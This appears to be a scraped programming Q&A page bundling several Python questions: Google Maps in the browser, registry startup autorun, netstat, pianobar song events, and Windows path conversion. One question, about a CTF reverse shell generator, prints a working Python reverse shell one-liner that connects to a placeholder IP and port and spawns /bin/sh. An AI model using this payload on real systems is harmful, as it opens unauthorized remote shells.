Using webbrowser module to use Google Maps - python

i'm just new to python and i want to ask a simple question.
what's the difference between using this code:
import webbrowser, pyperclip, sys
chrome = "C:/Program Files/Google/Chrome/Application/chrome.exe %s"
def location_finder():
output = input('Type the place you want to find!\n')
webbrowser.get(chrome).open('https://www.google.com/maps/place/' + output)
location_finder()
and this code:
import webbrowser, pyperclip, sys
if len(sys.argv) > 1:
address = ' '.join(sys.argv[1:])
else:
address = pyperclip.paste()
webbrowser.open('https://www.google.com/maps/place/' + address)

The diffrent is:
With the first one, using target browser is chrome.exe and the second is using the default browser.
The first code using import from built in function input and the second code sys.argvis automatically a list of strings representing the arguments (as separated by spaces) on the command-line. The sys.argv[1:] get everything after the script name.

Related

Removing multiple strings in a file replace() not working

I am at the moment experiencing some issues with my code. I am creating a reverse shell generator that automates with pentests for Capture flag competitions.
The script will read a file containing payloads, further the script will choose a specific line to be fetched and then replace the back connect ip address and port and output the payload to the user.
However i am stuck on some issues. The issue is that i am trying to replace two different strings upon reading a file containing my text, one of the strings gets replaced, while the other do not:
Strings to be replaced
[ip]
[port]
I have as well reviewed previous article using regex, but did not get further luck. Recieving error on the regex part that is commented out in my code: "unexpected token"
My code:
import socket
import base64
import hashlib
import re
import os # Fetching ip from interface
import linecache # for reading specific lines
ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
print("Welcome, lets generate a choosen reverse shell\n")
global ip
global port
print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
selection = input("Type in number:\t")
if int(selection) == 1:
with open("myshells.txt", "r") as shells:
#for myreplace in (("[ip]", ip), ("[port]", port)):
fetchshell = linecache.getline('myshells.txt', 1)
ipreplaced = fetchshell.replace("[ip]", ip)
ipreplaced = fetchshell.replace("[port]", port)
print(ipreplaced)
"""for line in fetchshell:
myport = line.write(re.sub(r"(port)", port))
myip = line.write((re.sub(r"(ip)", ip))
print(line)"""
File contents:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Sample output from above code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python script autorun on windows startup

I am trying to create a script that will display a page in chrome on startup. That is, I am trying to run a python script on startup. I am using the winreg module to do so.
Here is my script to add a my page display script on startup:
import winreg
import os
import sys, traceback
def AddToRegistry():
pth = os.path.dirname(os.path.realpath(path_to_page_display_script))
s_name="test.py"
address=os.path.join(pth,s_name)
try:
open = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\\Microsoft\\Windows\\CurrentVersion\\Run", reserved=0, access = winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(open,"pytest",0,winreg.REG_SZ,address)
winreg.CloseKey(open)
except Exception:
traceback.print_exc(file=sys.stdout)
if __name__=="__main__":
AddToRegistry()
Here is my page display script:
import webbrowser
url = 'http://docs.python.org/'
chrome_path = 'path_to_chrome/chrome.exe %s'
webbrowser.get(chrome_path).open(url)
The script runs fine without any errors but on restarting my machine, the chrome does not open up by itself nor does it display the page. Basically, my script does not run. What is wrong ? Kindly help me out.
The problem isn't with your script. It's with your registry key.
You need to tell windows to invoke Python.exe C:\path_to_script\test.py, not test.py.
So instead of this:
This:
path_to_python_exe = "C:\\python\\python38";
address=os.path.join(pth,s_name)
address = os.path.join(path_to_python_exe, "python.exe") + " " + address;
Or if Python.exe is guaranteed to be in your PATH, simply this:
address = "Python.exe" + " " + os.path.join(pth,s_name)

how to use netstat -nb in python

I want to use netstat -nb in python but every code that i write i get the same msg: "The requested operation requires elevation."
The last code that i try is
import os
output_command = os.popen("netstat -nb").readlines()
and i try also
import subprocess
program_list = subprocess.run(["netstat", "-nb"], stdout=subprocess.PIPE).stdout.decode("utf-8")
program_list = program_list.split("\r\n")
import os
a=os.popen('netstat -nb').read()
print("\n Connections ",a )
try this, it's working!

How do I retrieve the current song name and time left from pianobar using python?

I'm creating an alarm clock with a gui using TKinter and python on my raspberry pi. When the alarm goes off I want it to start playing pianobar. I can do this easily enough, but I also want to display the name of the song on the GUI, and I cannot figure out how to get the current song being played. I have tried using pipes "|", and redirecting with ">" but I have gotten nowhere. Any advice will help.
You need to use the event command interface. From the man page:
An example script can be found in the contrib/ directory of pianobar's source distribution.
~/.config/pianobar:
user = <username>
password = <password> (although I'd suggest password_command)
event_command = ~/.config/pianobar/event_command.py
~/config/event_command.py
#!/usr/bin/env python
import os
import sys
from os.path import expanduser, join
path = os.environ.get('XDG_CONFIG_HOME')
if not path:
path = expanduser("~/.config")
else:
path = expanduser(path)
fn = join(path, 'pianobar', 'nowplaying')
info = sys.stdin.readlines()
cmd = sys.argv[1]
if cmd == 'songstart':
with open(fn, 'w') as f:
f.write("".join(info))
This will write the song information to ~/.config/pianobar/nowplaying when a new song starts (there are other events available in the manpage). You can then parse that using your choice of tools to acquire the song title.

Python script for changing windows path to unix path

I want a script where I can paste a windows path as argument, and then the script converts the path to unix path and open the path using nautilus.
I want to be able to use the script as follows:
mypythonscript.py \\thewindowspath\subpath\
The script currently looks like this:
import sys, os
path = "nautilus smb:"+sys.argv[1]
path = path.replace("\\","/")
os.system(path)
I almost works :)
The problem is that I have to add ' around the argument... like this:
mypythonscript.py '\\thewindowspath\subpath\'
Anyone who knows how I can write a script that allows that argument is without ' , ... i.e. like this:
mypythonscript.py \\thewindowspath\subpath\
EDIT: I think I have to add that the problem is that without ' the \ in the argument is treated as escape character. The solution does not necessarily have to be a python script but I want (in Linux) to be able to just paste a windows path as argument to a script.
Unless you're using a really early version of Windows: "/blah/whatever/" just works for your OP.
Actually I had something like this a while ago, I made a bash script to automatically download links I copy into clipboard, here it is edited to use your program (you first need to install xclip if you don't already have it):
#!/bin/bash
old=""
new=""
old="$(xclip -out -selection c)"
while true
do
new="$(xclip -out -selection c)"
if [ "$new" != "$old" ]
then
old="$new"
echo Found: $new
mypythonscript.py $new
fi
sleep 1
done
exit 0
Now whenever you copy something new into the clipboard, your Python script will be executed with an argument of whatever is in your clipboard.
To avoid dealing with escapes in the shell you could work with the clipboard directly:
import os
try:
from Tkinter import Tk
except ImportError:
from tkinter import Tk # py3k
# get path from clipboard
path = Tk().selection_get(selection='CLIPBOARD')
# convert path and open it
cmd = 'nautilus'
os.execlp(cmd, cmd, 'smb:' + path.replace('\\', '/'))
ntpath, urlparse, os.path modules might help to handle the paths more robustly.
#!/usr/bin/python
#! python3
#! python2
# -*- coding: utf-8 -*-
"""win2ubu.py changes WINFILEPATH Printing UBUNTU_FILEPATH
Author: Joe Dorocak aka Joe Codeswell (JoeCodeswell.com)
Usage: win2ubu.py WINFILEPATH
Example: win2ubu.py "C:\\1d\ProgressiveWebAppPjs\\Polymer2.0Pjs\\PolymerRedux\\zetc\\polymer-redux-polymer-2"
prints /mnt/c/1d/ProgressiveWebAppPjs/Polymer2.0Pjs/PolymerRedux/zetc/polymer-redux-polymer-2
N.B. spaceless path needs quotes in BASH on Windows but NOT in Windows DOS prompt!
"""
import sys,os
def winPath2ubuPath(winpath):
# d,p = os.path.splitdrive(winpath) # NG only works on windows!
d,p = winpath.split(':')
ubupath = '/mnt/'+d.lower()+p.replace('\\','/')
print (ubupath)
return ubupath
NUM_ARGS = 1
def main():
args = sys.argv[1:]
if len(args) != NUM_ARGS or "-h" in args or "--help" in args:
print (__doc__)
sys.exit(2)
winPath2ubuPath(args[0])
if __name__ == '__main__':
main()
may want to try
my_argv_path = " ".join(sys.argv[1:])
as the only reason it would split the path into separate args is spaces in pasted path
(eg: C:\Program Files would end up as two args ["c:\Program","Files"])

Categories

Resources